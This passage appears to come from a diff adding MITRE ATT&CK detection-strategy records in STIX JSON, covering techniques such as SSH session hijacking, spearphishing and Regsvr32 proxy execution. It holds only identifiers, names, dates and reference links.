"x-mitre-analytic--34fecfa5-24fb-46c1-955f-68ecd4cc402c" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--264a9ce0-b26f-4cc6-bdf4-384b0d188a95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0277", + "external_id": "DET0277" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Role Addition to Cloud Accounts", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--04412d94-62ac-4484-9408-c4ca1c206f1b", + "x-mitre-analytic--a52321d0-5961-497b-8212-61602e05420b", + "x-mitre-analytic--8601dbfa-8767-4328-8809-1930b53b5e31" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--41107d12-dd2e-439f-af29-1a10dcfcb6ce", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0391", + "external_id": "DET0391" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Runtime Data Manipulation.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c07e8730-b5cf-4a74-be3a-938184af42df", + "x-mitre-analytic--e2e39b7e-02e4-4e7a-966c-6b05721da8f7", + "x-mitre-analytic--a9c30b9d-6810-47d3-8bf5-ca787836e7ef" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--2dc6a789-2dd7-4d64-be82-73db6fc3fb70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0453", + "external_id": "DET0453" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for SNMP (MIB Dump) on Network Devices", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--282d9231-942a-4b97-875c-659aa2c41971" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--101bde37-6150-45c6-bf88-3a8cda39b2f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0181", + "external_id": "DET0181" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for SQL Stored Procedures Abuse via T1505.001", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--f9fb1a46-02f0-4d89-a3d9-6bed04bd47be", + "x-mitre-analytic--2e039fd4-a1f6-4c4b-b47a-56c257335298" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--cf33849d-67f4-418e-9a41-6a6c082e576a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0126", + "external_id": "DET0126" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for SSH Key Injection in Authorized Keys", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--72dd4fd9-b6cb-4704-b845-0632fe224995", + "x-mitre-analytic--29988e3f-2f65-4fe5-9bf7-dae0cb869fc6", + "x-mitre-analytic--d613771b-087c-43c4-8430-2a0bf6ebb314", + "x-mitre-analytic--e5b0d0ab-a464-4e9f-a1c0-dfb08a6ef53f", + "x-mitre-analytic--4d8e89c0-fbde-43fc-adc4-d2f50bec3193" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--bdbd724e-b3e2-44d7-a9d6-ba2a4915762c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0256", + "external_id": "DET0256" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for SSH Session Hijacking", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--3517708a-f80e-4335-a122-65b9b3505e8d", + "x-mitre-analytic--de71bbc0-66b2-41ae-a3f3-4911ac31b391" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--6c59d987-c339-4743-bdb0-0eb21285deb7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0510", + "external_id": "DET0510" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for SVG Smuggling with Script Execution and Delivery Behavior", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--288a28ac-e1e4-4e7e-9156-d3b975ed45ed", + "x-mitre-analytic--99bfd95b-256a-4b1d-bf1d-481f47642c15", + "x-mitre-analytic--fe1cff12-9772-4ba9-92bc-c26eae79da24" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8c92a33f-ac2f-4ae9-9258-7a6a67922ad4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0116", + "external_id": "DET0116" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Safe Mode Boot Abuse", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--d7a82fc6-047b-47a8-8b3c-d6dcab00d56b" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--3ec6ad13-f3d6-4eb2-91fe-6ee5266d1447", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0399", + "external_id": "DET0399" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Scheduled Transfer and Recurrent Exfiltration Patterns", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--79600919-afe8-4ac9-946c-147d85af6cfe", + "x-mitre-analytic--11ac52fe-f8e0-4748-9fbc-2f85c43ad506", + "x-mitre-analytic--837bd639-c291-4e42-b737-6a21d6bf8fd5" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7a848f8f-4bdc-426c-989e-bc1abfaeb7fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0374", + "external_id": "DET0374" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Serverless Execution (T1648)", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--ecf190d1-5311-466f-a361-a33820b3c7b7", + "x-mitre-analytic--f8787a86-552b-4e03-8d68-7177001a215d", + "x-mitre-analytic--8708dc0b-8eeb-4a3d-8770-2fab30f46682" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--8d904004-e492-4f76-9f84-be75fc61e5c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0236", + "external_id": "DET0236" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Spearphishing Attachment across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--db6995d9-68ab-4638-a430-c0a8d2daf306", + "x-mitre-analytic--02309791-384c-4ca9-b25c-6a6bc754795f", + "x-mitre-analytic--7a6192b4-997a-4526-bb3d-76664bc31274" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ed58a144-2554-495c-9c60-18e6f817aa75", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0107", + "external_id": "DET0107" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Spearphishing Links", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a39fccda-e5ea-49de-80f9-d67ae3b8c799", + "x-mitre-analytic--e08e4dd6-cab5-41c0-b136-1bc8426c25ed", + "x-mitre-analytic--b18b93d1-3f63-4788-8e26-68db032995e0", + "x-mitre-analytic--cfc7b6bc-2ca3-4407-a835-b40bf6a98efc" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ec33e12c-e0f1-426d-a453-fa5ae4d3cf9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0245", + "external_id": "DET0245" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Spearphishing Voice across OS platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--caa11058-4906-48b4-ab3f-a650aab6968d", + "x-mitre-analytic--c5134555-561a-4905-8601-a6ba307fc121", + "x-mitre-analytic--756214e0-660d-4f32-a4f1-f8ff24a7852f", + "x-mitre-analytic--345af006-d658-4f22-aef6-b1cfc0058875" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--dd232215-bb7f-461f-ac3f-e7cf5612e396", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0115", + "external_id": "DET0115" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Spearphishing via a Service across OS Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c83f1d8c-ba54-4f2d-91b8-3006a2180497", + "x-mitre-analytic--eed7a6f2-496d-47c6-bdfd-1b885b58a651", + "x-mitre-analytic--262ce2a7-2c09-4f6d-8e9f-de57b814a2a2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--7b0ea292-22f5-4963-b1c2-0d396fb17619", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0240", + "external_id": "DET0240" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Steal or Forge Authentication Certificates", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--c448cbb5-1256-4a00-8582-1759fb5a6e56", + "x-mitre-analytic--27cbe2a7-25a0-4f6d-b2b0-dff50b2c0883", + "x-mitre-analytic--62285936-d8a3-4b18-b3b4-a521fbef10ec", + "x-mitre-analytic--af8d3a12-dafb-4e40-8017-7d20d9e77d55" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--a57c9ffb-8b18-4178-a07f-e596abe389bd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0119", + "external_id": "DET0119" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Steganographic Abuse in File & Script Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a7666a4d-ece8-4e5b-ae85-d2987f14b950", + "x-mitre-analytic--f884a712-ace6-426c-ab81-8ff33e83be92", + "x-mitre-analytic--eb5334b4-8a19-4efd-a225-44a2783c6d39" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e3776b4e-00b0-44cd-9e77-5df960a979d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0193", + "external_id": "DET0193" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Stored Data Manipulation across OS Platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e08eb9fa-4a45-434b-9776-277bd545f1f7", + "x-mitre-analytic--425a3e89-ac22-4ff3-bc1e-ca1672113075", + "x-mitre-analytic--23b6aee9-90fc-46b8-bf8b-36043218f393" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--e4040d30-1f5a-4f80-9f06-f1c1d2a8c238", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0019", + "external_id": "DET0019" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Stripped Payloads Across Platforms", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--e7b2c8da-d54d-446a-a7f6-062fe234a8cc", + "x-mitre-analytic--52d150da-36f4-43b4-96c4-b4fe33b012a2", + "x-mitre-analytic--1b5b9ee8-69e6-41d4-a529-aa18afcdf453", + "x-mitre-analytic--a53e2979-2c41-44bc-b46e-13a19305e00d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--541f2335-1046-4621-9829-1a4a305069c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0442", + "external_id": "DET0442" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Subvert Trust Controls using SIP and Trust Provider Hijacking.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--5b6f6588-3434-4199-b16f-af44ae546c3d" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--d9e95391-5ea4-49af-a525-31655a72e470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0056", + "external_id": "DET0056" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for Subvert Trust Controls via Install Root Certificate.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--a65545d7-fa1b-4d6f-b19c-fa03862c6210", + "x-mitre-analytic--759c073c-2c40-484b-af47-8426ec5d5a3e", + "x-mitre-analytic--477fb167-a388-4e85-856b-bdcb36e7fd95" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--0a931f22-4820-48aa-8051-056da15a6183", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0282", + "external_id": "DET0282" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Binary Proxy Execution: Regsvr32", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--50658b7e-57c5-4e31-b156-1b294574a9f2" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9d3a5603-ae0e-41fe-b2f5-7f3e44c903d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0565", + "external_id": "DET0565" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Language Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--b8685b0b-f96e-41a4-8e01-eec252756447", + "x-mitre-analytic--c625c090-edcc-431a-a2fb-c31e4eb5f2cf", + "x-mitre-analytic--ffc71b21-982b-4fc7-8276-bd679d67bc95" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--9daf5067-79c3-477c-bf41-813aada4770d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0043", + "external_id": "DET0043" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Location Discovery", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--cd4d2b49-6a27-41a7-ab20-d2a3791142bd", + "x-mitre-analytic--d053d033-b587-4ed0-bdbc-0c6a9bdd7c82", + "x-mitre-analytic--0521835b-bc02-41ed-8e6a-153e6422ee9c", + "x-mitre-analytic--5b41efa6-7410-403b-ac07-89e262fa17ca" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--ef1996dc-b6e9-4d8b-a216-77d14323b3e5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0421", + "external_id": "DET0421" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Services Service Execution", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--fedc5a7d-4ea9-4dd7-b2e0-3f10549d90db" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": "x-mitre-detection-strategy--38364d2d-7b25-4f75-9679-eca4dd18b213", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0279", + "external_id": "DET0279" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Detection Strategy for System Services across OS platforms.", + "x-mitre-deprecated": false, + "x_mitre_analytic_refs": [ + "x-mitre-analytic--667c21d2-2f92-42d6-aaea-b46974f63c8d", + "x-mitre-analytic--65691cb3-a2b3-4c48-91d2-7088a047ebef", + "x-mitre-analytic--63d21290-b858-4c4e-9447-31d623048048" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-detection-strategy", + "id": 